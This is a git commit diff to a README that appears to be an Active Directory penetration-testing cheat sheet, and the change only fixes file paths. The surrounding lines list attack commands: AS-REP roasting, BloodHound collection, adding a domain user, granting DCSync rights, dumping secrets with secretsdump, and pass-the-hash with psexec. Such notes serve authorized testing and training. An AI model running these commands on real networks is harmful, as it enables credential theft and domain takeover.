Update README.md
This commit is contained in:
@@ -664,9 +664,9 @@ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -request {DOMAIN1
|
|||||||
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py {DOMAIN1}.{DOMAIN2}/ -dc-ip {IP ADDRESS} -usersfile {USER.txt} -format john
|
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py {DOMAIN1}.{DOMAIN2}/ -dc-ip {IP ADDRESS} -usersfile {USER.txt} -format john
|
||||||
|
|
||||||
# Bloodhound
|
# Bloodhound
|
||||||
sudo ./usr/bin/neo4j console # LHOST
|
sudo /usr/bin/neo4j console # LHOST
|
||||||
./opt/bloodhound/resources/app/Collectors/SharpHound.exe -c all # RHOST
|
/opt/bloodhound/resources/app/Collectors/SharpHound.exe -c all # RHOST
|
||||||
./opt/bloodhound/BloodHound --no-sandbox # LHOST
|
/opt/bloodhound/BloodHound --no-sandbox # LHOST
|
||||||
|
|
||||||
# Add user
|
# Add user
|
||||||
net user {USERNAME} {PASSWORD} /add /domain
|
net user {USERNAME} {PASSWORD} /add /domain
|
||||||
@@ -680,7 +680,7 @@ $cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USERNAME
|
|||||||
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC={DOMAIN1},DC={DOMAIN2}" -PrincipalIdentity {USERNAME} -Rights DCSync
|
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC={DOMAIN1},DC={DOMAIN2}" -PrincipalIdentity {USERNAME} -Rights DCSync
|
||||||
|
|
||||||
# Dump secrets
|
# Dump secrets
|
||||||
sudo python3 ./usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USERNAME}':'{PASSWORD}'@{IP ADDRESS}
|
sudo python3 /usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USERNAME}':'{PASSWORD}'@{IP ADDRESS}
|
||||||
|
|
||||||
# PSEXEC
|
# PSEXEC
|
||||||
sudo python3 psexec.py -hashes {HASH1:HASH2} {USERNAME}@{IP ADDRESS}
|
sudo python3 psexec.py -hashes {HASH1:HASH2} {USERNAME}@{IP ADDRESS}
|
||||||
|
|||||||
Reference in New Issue
Block a user